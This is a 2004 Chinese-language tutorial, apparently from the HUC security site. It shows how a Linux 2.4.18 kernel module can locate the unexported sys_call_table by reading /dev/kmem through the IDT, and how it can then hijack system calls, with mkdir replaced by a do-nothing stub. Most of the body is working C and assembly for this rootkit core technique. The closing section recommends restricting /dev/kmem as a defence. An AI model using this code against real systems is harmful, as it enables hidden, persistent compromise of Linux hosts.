快速通道

文档分类
- 红盟公告
- 新手上路
- 漏洞分析
- 工具介绍
- 安全配置
- **编程技术 <=**
- 安全技术
- 业界动态

本类热门
- 初探数据包分析程序设计
- 杀毒软件的简单实现
- readasm的使用范例
- 半开扫描程序
- 注册表操作（RingZ_RgeEdit）
- proftpd 1.2.7/1.2.9rc2 remote root exploit

Linux2.4.18内核下基于LKM的系统调用劫持

提交文章： FreeBird
提交日期： 2004-05-23
文章属性： 整理
文档类别： 编程技术
浏览次数： 今3次/总1182次

注：本文提到的方法和技巧，如有兴趣请参考后面提到的两篇参考文章，虽然比较老了，但是对于本文内容的实现有很大的参考价值。因为篇幅关系，没有列出完整代码，但是核心代码已经全部给出。

Linux现在使用是越来越多了，因此Linux的安全问题现在也慢慢为更多人所关注。Rootkit是攻击者用来隐藏踪迹和保留root访问权限的工具集，在这些工具当中，基于LKM的rootkit尤其受到关注。这些rootkit可以实现隐藏文件、隐藏进程、重定向可执行文件，给linux的安全带来很大的威胁，它们所用到的技术主要是系统调用劫持。用LKM技术截获系统调用的通常步骤如下:

找到需要的系统调用在sys_call_table[]中的入口(参考include/sys/syscall.h)
保存sys_call_table[x]的旧入口指针。(x代表所想要截获的系统调用的索引)
将自定义的新的函数指针存入sys_call_table[x]

在Linux2.4.18内核以前，可以将sys_call_table导出来直接使用。因此修改系统调用非常容易，下面看一个例子：

```
extern void* sys_call_table[];/*sys_call_table被引入，所以可以存取*/
int (*orig_mkdir)(const char *path); /*保存原始系统调用的函数指针*/
int hacked_mkdir(const char *path)
{
return 0; /*一切正常，除了新建操作，该操作什么也不做*/
}
int init_module(void) /*初始化模块*/
{
orig_mkdir=sys_call_table[SYS_mkdir];
sys_call_table[SYS_mkdir]=hacked_mkdir;
return 0;
}
void cleanup_module(void) /*卸载模块*/
{
sys_call_table[SYS_mkdir]=orig_mkdir; /*恢复mkdir系统调用到原来的那个*/
}
```

在Linux2.4.18内核以后，为了解决这个安全问题，sys_call_table不能直接导出，因此上面这个代码拿到Linux2.4.18内核之后的内核上去编译加载，会在加载时报错。

那么要怎么样才能得到sys_call_table，实现系统调用劫持呢？

一．怎么样得到sys_call_table的地址

1．/dev/kmem

先看一下来自Linux手册页(man kmem)的介绍：“ kmem是一个字符设备文件，是计算机主存的一个影象。它可以用于测试甚至修改系统。 ”也就是说，读取这个设备可以得到内存中的数据，因此，sys_call_table的地址也可以通过设备找到。这个设备通常只有root用户才有rw权限，因此只有root才能实现这些操作。

2．系统调用过程简述

每一个系统调用都是通过int 0x80中断进入核心，中断描述符表把中断服务程序和中断向量对应起来。对于系统调用来说，操作系统会调用system_call中断服务程

序。system_call函数在系统调用表中根据系统调用号找到并调用相应的系统调用服务例程。
3．得到sys_call_table地址的过程
idtr寄存器指向中断描述符表的起始地址，用sidt[asm ("sidt %0" : "=m" (idtr));]指令得到中断描述符表起始地址，从这条指令中得到的指针可以获得int 0x80中断服描述符所在位置，然后计算出system_call函数的地址。现在反编译一下system_call函数看一下：

```
$ gdb -q /usr/src/linux/vmlinux
(no debugging symbols found)...(gdb) disass system_call
Dump of assembler code for function system_call:
……
0xc0106bf2 <system_call+42>: jne 0xc0106c48 <tracesys>
0xc0106bf4 <system_call+44>: call *0xc01e0f18(,%eax,4)
0xc0106bfb <system_call+51>: mov %eax,0x18(%esp,1)
0xc0106bff <system_call+55>: nop
End of assembler dump.
(gdb) print &sys_call_table
$1 = (<data variable, no debug info> *) 0xc01e0f18
(gdb) x/xw (system_call+44)
0xc0106bf4 <system_call+44>: 0x188514ff <-- 得到机器指令  (little endian)
(gdb)
```

我们可以看到在system_call函数内，是用call *0xc01e0f18指令来调用系统调用函数的。因此，只要找到system_call里的call sys_call_table(,eax,4)指令的机器指令就可以了。我们使用模式匹配的方式来获得这条机器指令的地址。这样就必须读取/dev/kmem里面的数据。
二．如何在module里使用标准系统调用
处理/dev/kmem里的数据只需要用标准的系统调用就可以了，如：
open,lseek,read。
但module里不能使用标准系统调用。为了在module里使用标准系统调用，我们要在module里实现系统调用函数。看看内核源代码里的实现吧：

```
#define __syscall_return(type, res) \
do { \
    if ((unsigned long)(res) >= (unsigned long)(-125)) { \
        errno = -(res); \
        res = -1; \
    } \
    return (type) (res); \
} while (0)
#define _syscall1(type,name,type1,arg1) \
type name(type1 arg1) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
    : "=a" (__res) \
    : "0" (__NR_##name),"b" ((long)(arg1))); \
__syscall_return(type,__res); \
}
static inline _syscall1(int,close,int,fd)
```

我们可以学习这样的方法，这样只要将这些代码加入到我们的module的代码里面，就可以在module里使用这些标准系统调用了。
另外，为了用匹配搜索的方式查找sys_call_table的地址，我们可以用memmem函数。不过memmem是GNU C扩展的函数，它的函数原型是：void *memmem(void *s,int s_len,void *t,int t_len);同样的，module里也不能使用库函数，但是我们可以自己实现这个函数。
然而在module里使用标准系统调用还有个问题，系统调用需要的参数要求要在用户空间而不是在module所在的内核空间。
Linux使用了段选器来区分内核空间、用户空间等等。被系统调用所用到的而存放在用户空间中的参数应该在数据段选器(所指的)范围的某个地方。DS能够用asm/uaccess.h中的get_ds()函数得到。只要我们把被内核用来指向用户段的段选器设成所需要的 DS值，我们就能够在内核中访问系统调用所用到的(那些在用户地址空间中的)那些用做参数值的数据。这可以通过调用set_fs(...)来做到。但要小心，访问完系统调用的参数后，一定要恢复FS。下面是一段例子：

```
filename内核空间；比如说我们刚创建了一个字串
unsigned long old_fs_value=get_fs();
set_fs(get_ds); /*完成之后就可以存取用户空间了*/
open(filename, O_CREAT|O_RDWR|O_EXCL, 0640);
set_fs(old_fs_value); /*恢复  fs ...*/
```

三．在module里实现sys_call_table地址查找的代码实现
主要代码如下：

```
/*实现系统调用*/
```

```
unsigned long errno;
#define __syscall_return(type, res) \
do { \
    if ((unsigned long)(res) >= (unsigned long)(-125)) { \
        errno = -(res); \
        res = -1; \
    } \
    return (type) (res); \
} while (0)
#define _syscall1(type,name,type1,arg1) \
type name(type1 arg1) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
    : "=a" (__res) \
    : "0" (__NR_##name),"b" ((long)(arg1))); \
__syscall_return(type,__res); \
}
#define _syscall3(type,name,type1,arg1,type2,arg2,type3,arg3) \
type name(type1 arg1,type2 arg2,type3 arg3) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
    : "=a" (__res) \
    : "0" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2)), \
        "d" ((long)(arg3))); \
__syscall_return(type,__res); \
}
static inline _syscall3(int,write,int,fd,const char *,buf,off_t,count)
static inline _syscall3(int,read,int,fd,char *,buf,off_t,count)
static inline _syscall3(off_t,lseek,int,fd,off_t,offset,int,count)
static inline _syscall3(int,open,const char *,file,int,flag,int,mode)
static inline _syscall1(int,close,int,fd)
/*从这里以后就可以使用这几个系统调用了*/

struct {
unsigned short limit;
unsigned int base;
} __attribute__ ((packed)) idtr;
struct {
unsigned short off1;
unsigned short sel;
unsigned char none,flags;
unsigned short off2;
} __attribute__ ((packed)) idt;
int kmem;
void readkmem (void *m,unsigned off,int sz)
{
    mm_segment_t old_fs_value=get_fs();
set_fs(get_ds());
if (lseek(kmem,off,0)!=off) {
printk("kmem lseek error in read\n"); return;
}
if (read(kmem,m,sz)!=sz) {
printk("kmem read error!\n"); return;
}
    set_fs(old_fs_value);
}
#define CALLOFF 100 /* 我们将读出int $0x80的头100个字节  */
/*得到sys_call_table的地址*/
unsigned getscTable()
{
unsigned sct;
unsigned sys_call_off;
char sc_asm[CALLOFF],*p;
/* 获得IDTR寄存器的值  */
asm ("sidt %0" : "=m" (idtr));
     mm_segment_t old_fs_value=get_fs();
     const char *filename="/dev/kmem";
     set_fs(get_ds());
/* 打开kmem */
kmem = open (filename,O_RDONLY,0640);
```

```
if (kmem<0)
    {
        printk("open error!");
    }
    set_fs(old_fs_value);
/* 从IDT读出0x80向量 (syscall) */
readkmem (&idt,idtr.base+8*0x80,sizeof(idt));
sys_call_off = (idt.off2 << 16) | idt.off1;
/* 寻找sys_call_table的地址 */
readkmem (sc_asm,sys_call_off,CALLOFF);
p = (char*)mymem (sc_asm,CALLOFF,"\xff\x14\x85",3);
sct = *(unsigned*)(p+3);
    close(kmem);
      return sct;
}
```

好了，但是上面的函数没有做足够的错误检查。

四．劫持系统调用

在得到了sys_call_table的地址后，我们就可以很轻易的劫持系统调用了。

我们把最开始的那个例子修改一下，让它运行在2.4.18的内核。

系统调用的劫持过程主要代码如下：

```
static unsigned SYS_CALL_TABLE_ADDR;
void **sys_call_table;
int init_module(void)
{
SYS_CALL_TABLE_ADDR= getscTable();
   sys_call_table=(void **)SYS_CALL_TABLE_ADDR;
   orig_mkdir=sys_call_table[__NR_mkdir];
   sys_call_table[__NR_mkdir]=hacked_mkdir;
   return 0;
}
void cleanup_module(void)
{
   sys_call_table[__NR_mkdir]=orig_mkdir;
}
```

五．综述

虽然内核2.4.18以后不再导出sys_call_table，但是我们仍然可以通过读/dev/kmem设备文件得到它的地址，来实现系统调用的劫持。要解决这个问题，最好是使/dev/kmem不可读，或者干脆不使用这个设备文件。否则，总会给安全带来隐患。

参考资料：

Phrack58-0x07 Linux on-the-fly kernel patching without LKM
(nearly) Complete Linux Loadable Kernel Modules -the definitive guide for hackers, virus coders and system administrators- written by pragmatic / THC, version 1.0 released 03/1999

返回上页

Copyright © 2000-2004 **HUC** All Rights Reserved.
中国红客网络技术联盟 www.cnhonker.com
webmaster@cnhonker.net